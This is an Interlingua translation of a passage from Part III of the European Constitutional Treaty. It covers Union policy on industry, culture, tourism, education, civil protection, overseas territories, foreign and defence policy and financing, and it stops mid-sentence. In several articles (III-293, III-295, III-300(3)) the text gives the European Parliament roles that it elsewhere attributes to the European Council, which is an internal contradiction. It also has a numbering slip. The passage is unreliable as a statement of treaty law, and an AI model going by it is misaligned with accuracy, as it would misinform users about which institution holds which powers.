Union e le Statos membros velia que le conditiones necessari pro le competitivitate del industria del Union es assecurate. Pro iste fin, conformemente con un systema de mercatos aperte e competitive, lor actiones visa a:\na) accelerar le adaptation del industria al cambiamentos structural,\nb) incoragiar un ambiente favorabile al initiativa e al disveloppamento del interprisas in tote le Union, particularmente del interprisas parve e median.\nc) incoragiar un ambiente favorabile al cooperation inter interprisas; favorar un melior exploitation del potential industrial del politicas de innovation, de investigation e de disveloppamento technic.\n2. Le Statos membros se consulta mutualmente, in contacto con le Commission e, si il es necessari, coordina lor actiones. Le Commission pote adoptar qualcunque initiativa utile pro promover iste coordination, in particular initiativas in vista de establir orientationes e indicatores, de organisar le intercambio del melior practicas e de preparar le elementos necessari pro le surveliantia e pro le evalutation periodic. Le Parlamento Europee es plenmente informate.\n3. Le Union contribue al realisation del objectivos mentionate in le paragrapho 1 per le politicas e le actiones que illo face in virtute de altere dispositiones del Constitution. Le lege o lege-quadro europee pote establir mesuras specific destinate a appoiar le actiones facite in le Statos membros a fin de realisar le objectivos mentionate in le paragrapho 1, con exclusion de tote harmonisation del dispositiones legislative e regulamentari del Statos membros. Illo es adoptate post consultation del Committee Economic e Social.\nLe presente section non constitue un base pro le introduction, per le Union, de qualcunque mesura que poterea causar distorsiones de concurrentia o include dispositiones fiscal o relative al derectos e interesses del laboratores salariate.\nSECTION 3\nCULTURA\nARTICULO III-280\n1. Le Union contribue al florescentia del culturas del Statos membros in le respecto de lor diversitate national e regional, ponente in relievo le patrimonio cultural commun.\n2. Le action del Union ha como objectivo incoragiar le cooperation inter le Statos membros, e si necessari, appoiar e completar lor action in le dominios sequente:\na) le melioration del cognoscentia e del diffusion del cultura e del historia del populos europee;\nb) le conservation e le salveguarda del patrimonio cultural de importantia europee;\nc) le intercambios cultural non-commercial;\nd) le creation artistic e litterari, includite in le sector audiovisual.\n3. Le Union e le Statos membros favora le cooperation con le tertie paises e le organisationes international competente in le dominio del cultura, in particular con le Consilio Europee.\n4. Le Union tene conto del aspectos cultural in su action in virtute de altere dispositiones del Constitution, in particular a fin de respectar e de promover le diversitate de su culturas.\n5. Pro contribuer al realisation del objectivos mentionate in le presente articulo:\na) le lege o lege-quadro europee establi actiones de incoragiamento, con exclusion de tote harmonisation del dispositiones legislative e regulamentari del Statos membros. Illo es adoptate post consultation del Committee del Regiones;\nb) le Consilio, per proposition del Commission, adopta recommendationes.\nSECTION 4\nTOURISMO\nARTICULO III-281\n1. Le Union completa le action del Statos membros in le sector del tourismo, in particular promovente le competitivitate del interprisas del Union in iste sector. Pro iste fin, le action del Union ha como objectivo\na) incoragiar le creation de un ambiente favorabile al disveloppamento del interprisas in iste sector;\nb) favorar le cooperation inter Statos membros, in particular per le intercambio de bon practicas.\n2. Le lege o lege-quadro europee establi le mesuras particular destinate a completar le actiones facite in le Statos membros a fin de realisar le objectivos in le presente articulo, con exclusion de tote harmonisation del dispositiones legislative e regulamentari del Statos membros.\nSECTION 5\nEDUCATION, JUVENTUTE, SPORT E FORMATION PROFESSIONAL\nARTICULO III-282\n1. Le Union contribue al disveloppamento de un education de qualitate per incoragiar le cooperation inter Statos membros e, si necessari, per appoiar e completar lor action. Illo respecta plenmente le responsabilitate del Statos membros pro le contento del inseniamento e le organisation del systema educative assi como lor diversitate cultural e linguistic. Le Union contribue al promotion del aspectos europee del sport, tenente conto de su specificitates, de su structuras fundate super le voluntariato, assi como de su function social e educative.\nLe action del Union ha como objectivo:\na) disveloppar le dimension europee in le education, in particular per le apprension e le diffusion del linguas del Statos membros;\nb) favorar le mobilitate del studentes e del inseniantes, includite per incoragiar le recognoscentia academic del diplomas e del periodos de studios;\nc) promover le cooperation inter le establimentos de inseniamento;\nd) disveloppar le intercambio de informationes e de experientias re le questiones commun al systemas educative del Statos membros;\ne) favorar le disveloppamento del intercambios de juvenes e de animatores socio-educative e incoragiar le participation del juvenes in le vita democratic de Europa;\nf) incoragiar le disveloppamento del education a distantia;\ng) disveloppar le dimension europee del sport, per promover le equitate e le apertura in le competitiones sportive e le cooperation inter le organismos responsabile del sport, assi como per proteger le integritate physic e moral del sportivos, in particular del juvene sportivos.\n2. Le Union e le Statos membros favora le cooperation con le tertie paises e le organisationes international competente in materia de education e de sport, in particular con le Consilio Europee.\n3. Pro contribuer al realisation del objectivos mentionate in le presente articulo:\na) le lege o lege-quadro europee establi actiones de incoragiamento, con exclusion de tote harmonisation del dispositiones legislative e regulamentari del Statos membros. Illo es adoptate post consultation del Committee del Regiones e del Committee Economic e Social;\nb) Le Consilio, per proposition del Commission, adopta recommendationes.ARTICULO III-283\n1. Le Union disveloppa un politica de formation professional, que appoia e completa le actiones del Statos membros, respectante plenmente la responsabilitate del Statos membros pro le contento e le organisation del formation professional. Le action del Union ha como objectivo:\na) facilitar le adaptation al mutationes industrial, in particular per le formation e le reconversion professional;\nb) meliorar la formation professional initial e le formation continue a fin de facilitar le insertion e le reinsertion professional in le mercato del labor;\nc) facilitar le accesso al formation professional e favorar le mobilitate del formatores e del personas in formation, in particular del juvenes;\nd) stimular le cooperation in materia de formation inter establimentos de inseniamento o de formation professional e interprisas;\ne) disveloppar le intercambio de informationes e de experientias re le questiones commun al systemas de formation del Statos membros.\n2. Le Union e le Statos membros favora le cooperation con le tertie paises e le organisationes international competente in materia de formation professional.\n1. Pro contribuer al realisation del objectivos mentionate in le presente articulo:\na) le lege o lege-quadro europee establi le mesuras necessari, con exclusion de tote harmonisation del dispositiones legislative e regulamentari del Statos membros. Illo es adoptate post consultation del Committee del Regiones e del Committee Economic e Social;\nb) le Consilio, per proposition del commission, adopta recommendationes.\nSECTION 6\nPROTECTION CIVIL\nARTICULO III-284\n1. Le Union incoragia le cooperation inter le Statos membros a fin de reinfortiar le efficacia del systemas de prevention del catastrophes natural o de origine human e de protection contra illos. Le action del Union ha como objectivo:\na) appoiar e completar le action del Statos membros al nivellos national, regional e local pro le prevention del riscos, le preparation del actores del protection civil in le Statos membros e le intervention in caso de catastrophes natural o de origine human al interior del Union.\nb) promover un cooperation operational rapide e efficace al interior del Union inter le servicios de protection civil national;\nc) favorar le coherentia del actiones interprendite al nivello international in materia de protection civil.\n2. Le lege o lege-quadro europee establi le mesuras necessari pro contribuer al realisation del objectos mentionate in le paragrapho 1, con exclusion de tote harmonisation del dispositiones legislative e regulamentari del Statos membros.\nSECTION 7\nCOOPERATION ADMINISTRATIVE\nARTICULO III-285\n1. Le application effective del derecto del Union per le Statos membros, que es essential pro le bon functionamento del Union, es considerate como un question de interesse commun.\n2. Le Union pote appoiar le effortios del Statos membros pro meliorar lor capacitate administrative pro applicar le derecto del Union. Iste action pote consister specialmente in facilitar le intercambios de informationes e de functionarios assi como in appoiar programmas de formation. Necun Stato membro es obligate a recurrer a iste appoio. Le lege europee establi le mesuras necessari pro iste fin, con exclusion de tote harmonisation del dispositiones legislative e regulamentari del Statos membros.\n3. Le presente articulo es sin prejudicio del obligation del Statos membros de applicar le derecto del Union, assi como prerogativas e deberes del Commission. Illo es equalmente sin prejudicio del altere dispositiones del Constitution que previde un cooperation administrative inter le Statos membros assi como inter illos e le Union.\nTITULO IV\nLE ASSOCIATION DEL PAISES E TERRITORIOS DE ULTRAMAR\nARTICULO III-286\n1. Le paises e territorios non-europee que mantene relationes special con Danmark, Francia, le Paises Basse e le Regno Unite es associate al Union. Iste paises e territorios, in lo que seque denominate \"paises e territorios\", es enumerate in le annexo II.\nLe presente titulo es applicabile a Groenlandia, sin prejudicio del dispositiones particular del Protocollo re le regime particular applicabile a Groenlandia.\n2. Le scopo del association es le promotion del disveloppamento economic e social del paises e territorios, e le establimento de relationes economic stricte inter illos e le Union. Le association debe de maniera prioritari contribuer a favorar le interesses del habitantes de iste paises e territorios e lor prosperitate, de tal maniera que iste association los conduce al disveloppamento economic, social e cultural al quales illos aspira.ARTICULO III-287\nLe association proseque le objectivos sequente:\na) le Statos membros applica a lor intercambios commercial con le paises e territorios le regime que illos se accorda inter se in virtute del Constitution;\nb) cata pais o territorio applica, a su intercambios commercial con le Statos membros e le altere paises e territorios, le regime que illo applica al Stato europee con le qual illo intertene relationes particular;\nc) le Statos membros contribue al investimentos que require le disveloppamento progressive de iste paises e territorios;\nd) pro le investimentos financiate per le Union, le participation in le adjudicationes e fornituras es aperte, con equalitate de conditiones, a tote le personas physic e juridic qui ha le nationalitate del Statos membros e del paises e territorios;\ne) in le relationes inter le Statos membros e le paises e territorios, le derecto de establimento del citatanos e societates es regulate conformemente con le dispositiones del titulo III, capitulo I, section 2, subsection 2, relative al libertate de establimento, e in application del proceduras previste per iste subsection, assi como super un base non-discriminatori, sin prejudicio del actos adoptate in virtute del articulo III-291. III-291.ARTICULO III-288\n1. Le importationes originari del paises e territorios beneficia a lor entrata in le Statos membros del prohibition del derectos de doana inter Statos membros mentionate per le Constitution.\n2. Al entrata in cata pais e territorio, le derectos de doana que grava le importationes del Statos membros e del altere paises e territorios es prohibite conformemente con le articulo III-151(4).\n3. Nonobstante, le paises e territorios pote perciper derectos de doana que responde al necessitates de lor disveloppamento e al necessitates de lor industrialisation o que, de character fiscal, es destinate a nutrir lor budget. Le derectos mentionate in le paragrapho 1 non pote exceder le derectos que grava le importationes del productos proveniente del Stato membro con le qual cata pais o territorio mantene relationes particular.\n4. Le paragrapho 2 non es applicabile al paises e territorios que, a causa del obligationes international particular al quales illos es submittite, applica jam un tarifa doanal non-discriminatori.\n5. Le establimento o le modification de derectos de doana gravante le mercantias importate in le paises e territorios non debe causar, in derecto e in facto, un discrimination directe o indirecte inter le importationes proveniente del diverse Statos membros.ARTICULO III-289\nSi le nivello del derectos applicabile al mercantias proveniente de un tertie pais al entrata in un pais o territorio es tal que, tenente conto del application del articulo III-288(1), illo pote causar deviationes de traffico prejudicial de un del Statos membros, iste pote peter al Commission proponer al altere Statos membros adoptar le mesuras necessari pro corriger iste situation.ARTICULO III-290\nSin prejudicio del dispositiones que rege le sanitate public, le securitate public, e le ordine public, le libertate de circulation del laboratores del paises e territorios in le Statos membros e del laboratores del Statos membros in le paises e territorios es regite per actos adoptate conformemente con le articulo III-291.ARTICULO III-291\nLe Consilio, per proposition del Commission e in le luce del resultatos acquirite in le quadro del association inter le paises e territorios e le Union, adopta per unanimitate le leges, leges-quadros, regulamentos, e decisiones europee relative al modalitates e al procedura del association inter le paises e territorios e le Union. Iste leges e leges-quadros es adoptate post consultation del Parlamento Europee.\nTITULO V\nLE ACTION EXTERIOR DEL UNION\nCAPITULO I\nDISPOSITIONES DE APPLICATION GENERAL\nARTICULO III-292\n1. Le action del Union in le scena international se basa super le principios que ha inspirate su creation, su disveloppamento, e su ampliation, e que illo intende promover in le resto del mundo: le democratia, le stato de derecto, le universalitate e le indivisibilitate del derectos del homine e del libertates fundamental, le respecto del dignitate human, le principios de equalitate e de solidaritate, e le respecto del principios del Charta del Nationes Unite e del derecto international.\nLe Union se effortia de disveloppar relationes e de crear associationes con le tertie paises e con le organisationes international, regional o mundial, que participa in le principios mentionate in le paragrapho 1. Illo favora solutiones multilateral pro le problemas commun, in particular in le quadro del Nationes Unite.\n2. Le Union defini e executa politicas commun e actiones e se effortia pro assecurar un alte grado de cooperation in tote le dominios del relationes international a fin de:\na) salveguardar su valores, su interesses fundamental, su securitate, su independentia, e su integritate;\nb) consolidar e sustener le democratia, le Stato de derecto, le derectos del homine, e le principios del derecto international;\nc) preservar le pace, prevenir le conflictos, e reinfortiar le securitate international, in conformitate con le scopos e con le principios del Charta del Nationes Unite, assi como con le principios del Acto final de Helsinki, e con le objectivos del Charta de Paris, includite illos relative al frontieras exterior;\nd) favorar le disveloppamento durabile al nivello economic, social, e ambiental in le paises in disveloppamento, con le objectivo essential de eradicar le paupertate;\ne) incoragiar le integration de tote le paises in le economia mundial, includite per le suppression progressive del obstaculos al commercio international;\nf) contribuer al elaboration de mesuras international pro preservar e meliorar le qualitate del medio ambiente e le gestion durabile del ressources natural mundial, a fin de assecurar un disveloppamento durabile;\ng) adjutar le populationes, le paises, e le regiones confrontate a catastrophes natural o de origine human; e\nh) promover un systema international basate super un cooperation multilateral reinfortiate e un bon governantia mundial.\n3. Le Union respecta le principios e proseque le objectivos mentionate in le paragraphos 1 e 2 in le elaboration e le execution de su action exterior in le differente dominios tractate in le presente titulo, assi como de su altere politicas in lor aspectos exterior.\nLe Union respecta le coherentia inter le differente dominios de su action exterior, e inter istes e su altere politicas. Le Consilio e le Commission, assistite per le Ministro de Affaires Exterior del Union, assecura iste coherentia e coopera pro iste scopo.ARTICULO III-293\n1. Super le base del principios e objectivos mentionate in le articulo III-292, le Parlamento Europee determina le interesses e objectivos strategic del Union.\nLe decisiones europee del Parlamento Europee re le interesses e objectivos strategic del Union tracta del politica exterior e de securitate commun, assi como de altere dominios pertinente al action exterior del Union. Illos pote concerner le relationes del Union con un pais o un region, o haber un approche thematic. Illos defini lor duration e le medios que le Union e le Statos membros debe provider.\nLe Parlamento Europee decide unanimemente per recommendation del Consilio que los ha adoptate secundo le modalitates previste pro cata dominio. Le decisiones europee del Parlamento Europee es executate secundo le proceduras mentionate per le Constitution.\n2. Le Ministro de Affaires Exterior del Union, pro le dominio del politica exterior e de securitate commun, e le Commission, pro le altere dominios del action exterior, pote presentar propositiones conjuncte al Consilio.\nCAPITULO II\nLE POLITICA EXTERIOR E DE SECURITATE COMMUN\nSECTION 1\nDISPOSITIONES COMMUN\nARTICULO III-294\n1. In le quadro del principios e objectivos de su action exterior, le Union defini e executa un politica exterior e de securitate commun in tote le dominios del politica exterior e de securitate commun.\n2. Le Statos membros appoia activemente e sin reserva le politica exterior e de securitate commun in un spirito de loyalitate e de solidaritate mutual. Le Statos membros age insimul pro reinfortiar e disveloppar lor solidaritate politic mutual. Illos se abstine de tote action contrari al interesses del Union o que poterea nocer a su efficacia como fortia de cohesion in le relationes international. Le Consilio e le Ministro de Affaires Exterior del Union es attentive al respecto de iste principios.\n3. Le Union face le politica exterior e de securitate commun:\na) per definir le orientationes general;\nb) per adoptar decisiones europee que defini:\ni) le actiones que le Union debe interprender;\nii) le positiones que le Union debe adoptar;\niii) le modalitates del execution del decisiones europee mentionate in le punctos i) e ii);\nc) e per reinfortiar le cooperation systematic inter le Statos membros pro le conducta de lor politica.ARTICULO III-295\n1. Le Parlamento Europee defini le orientationes general del politica exterior e de securitate commun, includite re le questiones que ha implicationes in materia de defensa.\nSi un disveloppamento lo exige, le Presidente del Consilio Europee convoca un reunion extraordinari del Consilio Europee a fin de definir le lineas strategic del politica del Union ante iste disveloppamento.\n2. Le Consilio adopta le decisiones europee necessari pro le definition e le application del politica exterior e de securitate commun, super le base del orientationes general e del lineas strategic definite per le Parlamento Europee.ARTICULO III-296\n1. Le Ministro de Affaires Exterior del Union, qui preside le Consilio de Affaires Exterior, contribue con su propositiones al elaboration del politica exterior de securitate commun e assecura le elaboration del decisiones europee adoptate per le Parlamento Europee e le Consilio.\n2. Le Ministro de Affaires Exterior representa le Union in materias representative pro le politica exterior e le securitate commun. Ille o illa conduce in le nomine del Union le dialogo politic con le tertie partes e exprime le position del Union in le organisationes international e in le sino del conferentias international.\n3. In le execution de su mandato, le Ministro de Affaires Exterior del Union utilisa un servicio europee pro action exterior. Iste servicio travalia in collaboration con le servicios diplomatic del Statos membros e es componite de functionarios del servicios competente del Secretariato General del Consilio e del Commission e de personal distachate ab le servicios diplomatic national. Le organisation e le functionamento del Servicio europee pro le action exterior del Union es fixate per un decision europee del Consilio. Le Consilio decide secundo un proposition del Ministro de Affaires Exterior del Union post consultation del Parlamento Europee e approbation del Commission.ARTICULO III-297\n1. Quando un situation international exige un action operational del Union, le Consilio adopta le decisiones europee necessari. Iste decisiones fixa le objectivos, le portata e le medios, que on debe poner al disposition del Union e le conditiones relative al execution del action, e si necessari, su duration.\nSi se produce un cambiamento de circumstantias con un clar effecto super un question que es un objecto de un decision europee, le Consilio revisa le principios e le objectivos de iste decision e adopta le decisiones europee necessari.\n2. Le decisiones europee mentionate in le paragrapho 1 ingagia le Statos membros in le adoption de lor position e in le conducta de lor action.\n3. Quandocunque il ha un plano pro adoptar un position national o pro prender un action national in le application de un decision europee mentionate in le paragrapho 1, le Stato membro concernite forni information in un tempore que permitte, si necessari, un concertation preliminar in le sino del Consilio. Le obligation de fornir information preliminar non se applica al mesuras que constitue un mer transposition national de iste decision.\n4. In caso de necessitate imperiose ligate al evolution del situation e si manca un revision del decision europee mentionate in le paragrapho 1, le Statos membros pote prender le mesuras necessari de urgentia tenente conto del objectivos general de iste decision. Le Statos membros que adopta tal mesuras informa de illos immediatemente le Consilio.\n5. In caso de difficultates major relative al application de un decision europee mentionate in le presente articulo, un Stato membro los submitte al Consilio qui los delibera e cerca solutiones appropriate. Iste solutiones non pote esser contrari al objectivos del action ni nocer a su efficacia.ARTICULO III-298\nLe Consilio adopta decisiones europee que defini le position del Union re un question particular de natura geographic o thematic. Le Statos membros velia le conformitate de lor politicas national con le positiones del Union.ARTICULO III-299\n1. Cata Stato membro, le Ministro de Affaires Exterior del Union, o ille ministro con le appoio del commission, pote peter le attention del Consilio pro qualcunque question relative al politica exterior e al securitate commun e presentar a illo respectivemente initiativas e propositiones.\n2. In le casos que exige un decision rapide le Ministro de Affaires Exterior del Union convoca, sia de officio sia per le requesta de un Stato membro, un reunion extraordinari del Consilio, intra un termino de quaranta octo horas, o in caso de emergentia, intra un termino plus breve.ARTICULO III-300\n1. Le decisiones europee mentionate in le presente capitulo es adoptate unanimemente per le Consilio. Qualcunque membro del Consilio que se abstine de un votation, pote qualificar su abstention per un declaration formal. In iste caso iste membro non es obligate a applicar le decision europee, ma accepta que iste decision ingagia le Union. In un spirito de solidaritate mutual le Stato membro concernite se abstine de qualcunque action que pote contrastar o impedir le action del Union fundate super iste decision e le altere Statos membros respecta su position. Si le membros del Consilio qui motiva lor abstention de un tal declaration, representa al minus un tertio del Statos membros que totalisa al minus un tertio del population del Union, le decision non es adoptate.\n2. Nonobstante lo que es disponite in paragrapho 1, le Consilio decide per majoritate qualificate:\na) quando illo adopta un decision europee que defini un action o un position del Union super le base de un decision europee del Consilio Europee relative al interesses e objectivos strategic del Union mentionate in le articulo III-293(1);\nb) quando illo adopta un decision europee que defini un action o un position del Union per proposition del Ministro de Affaires Exterior del Union presentate sequente un requesta specific que le Consilio Europee le ha adressate per proprie initiativa o per initiativa del Ministro;\nc) quando illo adopta un decision europee que actualisa un decision europee que defini un action o position del Union;\nd) quando illo adopta un decision europee re le nomination de un representante special conformemente con le articulo III-302. Si un membro del Consilio declara que, pro rationes de politica national vital que illo expone, illo ha le intention de opponer se al adoption de un decision europee que debe esser adoptate per majoritate qualificate, le Consilio non procede al votation. Le Ministro de Affaires Exterior del Union cerca in stricte consultation con le Stato membro concernite, un solution acceptabile pro illo. In le absentia de un resultato, le Consilio decidente per majoritate qualificate, pote peter que le question es submittite al Consilio Europee in vista de un decision europee unanime.\n3. In conformitate con le articulo I-40(7), le Parlamento Europee pote adoptar unanimemente un decision europee que previde que le Consilio decide per majoritate qualificate in casos differente de illos mentionate in le paragrapho 2 del presente articulo.\n4. Le paragraphos 2 e 3 non se applica al decisiones habente implicationes militar o in le dominio de defensa.ARTICULO III-301\n1. Quando le Parlamento Europee o le Consilio ha definite un approche commun del Union in le senso del articulo I-40(5), le Ministro de Affaires Exterior del Union e le Ministros de Affaires Exterior del Statos membros coordina lor activitates intra le Consilio.\n2. Le missiones diplomatic del Statos membros e del delegationes del Union in le tertie paises e presso le organisationes international coopera inter se e contribue al formulation e al realisation del approche commun mentionate in le paragrapho 1.ARTICULO III-302\nLe Consilio pote nominar, per le proposition del Ministro de Affaires Exterior del Union, un representante special a qui illo confere un mandato pro questiones politic specific. Le representante special exerce su mandato sub le autoritate del Ministro.ARTICULO III-303\nLe Union pote concluder accordos con un o plure Statos o con organisationes international in dominios pertinente al presente capitulo.ARTICULO III-304\n1. Le Ministro de Affaires Exterior del Union consulta e informa le Parlamento Europee in conformitate con le articulo I-40(8) e con le articulo I-41(8). Ille velia que le opiniones del Parlamento Europee es debitemente prendite in consideration. Le representantes special pote esser associate al information del Parlamento Europee.\n2. Le Parlamento Europee pote diriger questiones o formular recommendationes al Consilio e al Ministro de Affaires Exterior del Union. Illo procede duo vices le anno a un debatto super le progressos realisate in le actualisation del politica exterior e del securitate commun, includite le politica de securitate e de defensa commun.ARTICULO III-305\n1. Le Statos membros coordina lor proprie action in organisationes international e in conferentias international. In iste foros illos defende le positiones del Union. Le Ministro de Affaires Exterior del Union assecura le organisation de iste coordination. In le organisationes international e in le conferentias international in le quales tote le Statos membros non participa, illos que participa defende le positiones del Union.\n2. In conformitate con le articulo I-16(2), le Statos membros representate in organisationes international o in conferentias international in le quales tote le Statos membros non participa, tene iste ultimes, assi como le Ministro de Affaires Exterior del Union, informate de tote le questiones de interesse commun.\nLe Statos membros que es anque membros del Consilio de securitate del Nationes Unite se concerta e illos tene plenmente informate le altere Statos membros e le Ministro de Affaires Exterior del Union.\nLe Statos membros que es membros del Consilio de securitate defende, in le exercitio de lor functiones, le positiones e le interesses del Union, sin prejudicio del responsabilitates que les incumbe in virtute del Charta del Nationes Unite.\nQuando le Union ha definite un position re un thema al ordine del die del Consilio de securitate del Nationes Unite, le Statos membros que participa in illo pete que le Ministro de Affaires Exterior del Union es invitate a presentar le position del Union.ARTICULO III-306\nLe missiones diplomatic e consular del Statos membros e le delegationes del Union in le tertie paises e in le conferentias international, assi como lor representantes presso le organisationes international, coopera pro garantir le respecto e le execution del decisiones europee que defini positiones e actiones del Union adoptate in virtute del presente capitulo. Illos intensifica lor cooperation per intercambiar informationes e realisar evalutationes commun.\nIllos contribue al application del derecto de protection del citatanos europee in le territorio del tertie paises, mentionate in le articulo I-10(2)(c), con le mesuras adoptate in application del articulo III-127.ARTICULO III-307\n1. Sin prejudicio del articulo III-344, un Committee Politic e de Securitate seque le situation international in le dominios concernente le politica exterior e de securitate commun, e contribue al definition del politicas per emitter avisos dirigite al Consilio, per le requesta de iste o del Ministro de Affaires Exterior del Union, o per proprie initiativa. Le Committee Politic e de Securitate survelia equalmente le execution del politicas accordate, sin prejudicio del attributiones del Ministro de Affaires Exterior del Union.\n2. In le quadro del presente capitulo, le Committee Politic e de Securitate exerce, sub le responsabilitate del Consilio e del Ministro de Affaires Exterior del Union, le controlo politic e le direction strategic del operationes de gestion de crises mentionate in le articulo III-309. Le Consilio pote autorisar le Committee, pro le fines de un operation de gestion de crise e pro le periodo de duration de iste operation, como il es determinate per le Consilio, a prender le mesuras appropriate concernente le controlo politic e le direction strategic del operation.ARTICULO III-308\nLe execution del politica exterior e del securitate commun non affecta le application del proceduras e le extension respective del attributiones del institutiones mentionate in le Constitution pro le exercitio del competentias del Union mentionate in le articulos I-13 a I-15 e in le articulo I-17. De equal modo, le execution del politicas referite in iste articulos non affecta le application del proceduras e le extension respective del attributiones del institutiones mentionate in le Constitution pro le exercitio del competentias del Union in virtute del presente capitulo.\nSECTION 2\nPOLITICA DE SECURITATE E DE DEFENSA COMMUN\nARTICULO III-309\n1. Le missiones mentionate in le articulo I-41(1), in le quales le Union pote haber recurso a medios civil e militar, include le actiones conjuncte relative al disarmamento, le missiones humanitari e de evacuation, le missiones de consilio e de assistentia militar, le missiones de prevention de conflictos e de mantenimento del pace, le missiones de fortias de combatto pro le gestion del crises, includite le missiones de restablimento del pace e le operationes de stabilisation al fin del conflictos. Tote iste missiones pote contribuer al lucta contra le terrorismo, includite per le appoio prestate a tertie paises pro combatter le terrorismo in lor territorio.\n2. Le Consilio adopta decisiones europee re missiones mentionate in le paragrapho 1, definiente lor objectivo e lor portata assi como le modalitates general de lor execution. Le Ministro de Affaires Exterior del Union, sub le autoritate del Consilio e in contacto stricte e permanente con le Committee Politic e de Securitate, survelia le coordination del aspectos civil e militar de iste missiones.ARTICULO III-310\n1. In le quadro del decisiones europee adoptate in conformitate con le articulo III-309, le Consilio pote confider le execution de un mission a un gruppo de Statos que lo desira e que dispone del capacitates necessari pro un tal mission. Iste Statos membros, in association con le ministro de Affaires Exterior del Union, se accorda inter se del gestion del mission.\n2. Le Statos membros que participa in le realisation del mission informa periodicamente le Consilio del progresso del mission, per proprie initiativa o per requesta de un altere Stato membro. Le Statos membros participante informa immediatemente le Consilio del question si le realisation del mission genera consequentias importante o si illos require un modification del objectivo, del portata o del modalitate del mission fixate per le decisiones europee mentionate in le paragrapho I. In iste caso, le Consilio adopta le decisiones europee necessari.ARTICULO III-311\n1. Le Agentia in le dominio del disveloppamento del capacitates de defensa, del investigation, del acquisitiones e del armamentos (Agentia Europee de Defensa) instituite per le articulo I-41(3), sub le autoritate del Consilio, ha como mission:\na) contribuer a identificar le objectivos de capacitate militar del Statos membros e a evalutar le respecto del ingagiamentos de capacitates subscribite per le Statos membros;\nb) promover un harmonisation del necessitates operational e le adoption de methodos de acquisition efficace e compatibile;\nc) proponer projectos multilateral pro complir le objectivos de capacitates militar e pro coordinar le programmas executate per le Statos membros e le gestion de programmas de cooperation specific;\nd) appoiar le investigation re le technologia de defensa, coordinar e planificar activitates de investigation conjuncte e studios de solutiones technic respondente al necessitates operational futur;\ne) contribuer a identificar e, eventualmente, executar qualcunque mesura utile pro reinfortiar le base industrial e technologic del sector del defensa e pro meliorar le efficacia del dispensas militar.\n2. Le Agentia Europee de Defensa es aperte a tote le Statos membros que desira participar in illo. Le Consilio, decidente per majoritate qualificate, adopta un decision europee definiente le statuto, le sede e le modalitates de functionamento del Agentia. Iste decision tene conto del grado de participation effective in le activitates del Agentia. Intra illo es constituite gruppos specific, formate per le Statos membros, que realisa projectos conjuncte. In casos de necessitate le Agentia compli su missiones in contacto con le Commission.ARTICULO III-312\nLe Statos membros que desira participar in le cooperation structurate permanente mentionate in le articulo I-41(6), e que compli le criterios e assume le ingagiamentos re le capacitates militar, como indicate in le Protocollo re le cooperation structurate permanente, notifica lor intention al Consilio e al Ministro de Affaires Exterior del Union\n2. Intra tres menses post le notification mentionate in le paragrapho 1, le Consilio adopta un decision europee que establi le cooperation structurate permanente e fixa le lista del Statos membros participante. Le Consilio decide per majoritate qualificate, post consultation del Ministro de Affaires Exterior del Union.\n3. Qualcunque Stato membro que, a un stadio ulterior, desira participar in le cooperation structurate permanente, notifica su intention al Consilio e al Ministro de Affaires Exterior del Union.\nLe Consilio adopta un decision europee que confirma le participation del Stato membro concernite que compli le criterios e assume le ingagiamentos mentionate in le articulos 1 e 2 del protocollo re le cooperation structurate permanente. Le Consilio decide per majoritate qualificate, post consultation del Ministro de Affaires Exterior del Union.\nSolmente le membros del Consilio que representa le Statos membros participante, prende parte in le votation. Le majoritate qualificate se defini como essente equal a al minus 55% del membros del Consilio representante le Statos membros participante, que reuni al minus 65% del population de iste Statos. Un minoritate de blocada debe includer al minus le numero maxime de membros del Consilio representante plus de 35% del population del Statos membros participante, plus un membro; si iste minoritate de blocada non existe, le majoritate qualificate es considerate como attingite\n4. Si un Stato membro participante non plus compli le criterios o non plus pote assumer le ingagiamentos mentionate in le articulos 1 e 2 del protocollo re le cooperation structurate permanente, le Consilio pote adoptar un decision europee suspendente le participation de iste Stato.\nLe Consilio decide per majoritate qualificate. Solmente le membros del Consilio que representa le Statos membros participante, prende parte in le votation, con exception del Stato membro concernite. Le majoritate qualificate se defini como essente equal a al minus 55% del membros del Consilio representante le Statos membros participante, que reuni al minus 65% del population de iste Statos. Un minoritate de blocada debe includer al minus le numero maxime de membros del Consilio representante plus de 35% del population del Statos membros participante, plus un membro; si iste minoritate de blocada non existe, le majoritate qualificate es considerate como attingite.\n5. Si un Stato membro participante desira quitar le cooperation structural permanente, illo notifica su decision al Consilio, que prende nota del facto que le participation del Stato membro concernite ha finite.\n6. Le decisiones europee e le recommendationes del Consilio in le quadro del cooperation structural permanente, con le exception de illos mentionate in le paragraphos 2 a 5, es adoptate per unanimitate. Pro le fines del presente paragrapho, le unanimitate es constituite unicamente per le votos del representantes del Statos membros participante.\nSECTION 3\nDISPOSITIONES FINANCIARI\nARTICULO III-313\n1. Le dispensas administrative pro le application del presente capitulo es imponite al budget del Union.\n2. Le dispensas operational del institutiones pro le application del presente capitulo es equalmente imponite al budget del Union, con le exception del dispensas operational que ha implicationes militar o es in le dominio del defensa, e in casos que le Consilio unanimemente decide alteremente.\nQuando un dispensa non es imponite al budget del Union, illo es imponite al Statos membros secundo le clave del producto national brute, salvo si le Consilio decide alteremente. Quanto al dispensas pro operationes que ha implicationes militar o es in le dominio del defensa, le Statos membros cuje representantes al Consilio ha facite un declaration formal in virtute del secunde parte del articulo III-300(1), non es obligate a contribuer a lor financiamento.\n3. Le Consilio adopta un decision europee que establi le proceduras particular pro garantir le accesso rapide al creditos del budget del Union destinate al financiamento de urgentia pro initiativas in le quadro del politica exterior e de securitate commun, e in particular al activitates preparatori de un mission mentionate in le articulo I-41(1) e in le articulo III-309. Le Consilio decide post consultation del Parlamento Europee.\nLe activitates preparatori del missiones mentionate in le articulo I-41(1) e in le articulo III-309, que non es imponite al budget del Union, es financiate per un fundo initial, constituite de contributiones del Statos membros.\nLe Consilio adopta, per majoritate qualificate e per proposition del Ministro de Affaires Exterior del Union, le decisiones europee establiente:\na) le modalitates del institution e del financiamento del fundo initial, in particular le amontas financiari assignate al fundo.\nb) le modalitates de gestion del fundo initial;\nc) le modalitates de controlo financiari.\nQuando le mission previste, conformemente con le articulo I-41(1) e le articulo III-309, non pote esser imponite al budget del Union, le Consilio autorisa le Ministro de Affaires Exterior del Union a utilisar iste fundo. Le Ministro de Affaires Exterior del Union informa le Consilio re le execution de iste mandato.\nCAPITULO III\nPOLITICA COMMERCIAL COMMUN\nARTICULO III-314\nPer le establimento de un union doanal conforme con le articulo III-151, le Union contribue, in le interesse commun, al disveloppamento harmonic del commercio mundial, al suppression progressive del restrictiones del commercio international e del investimentos exterior directe assi como a un 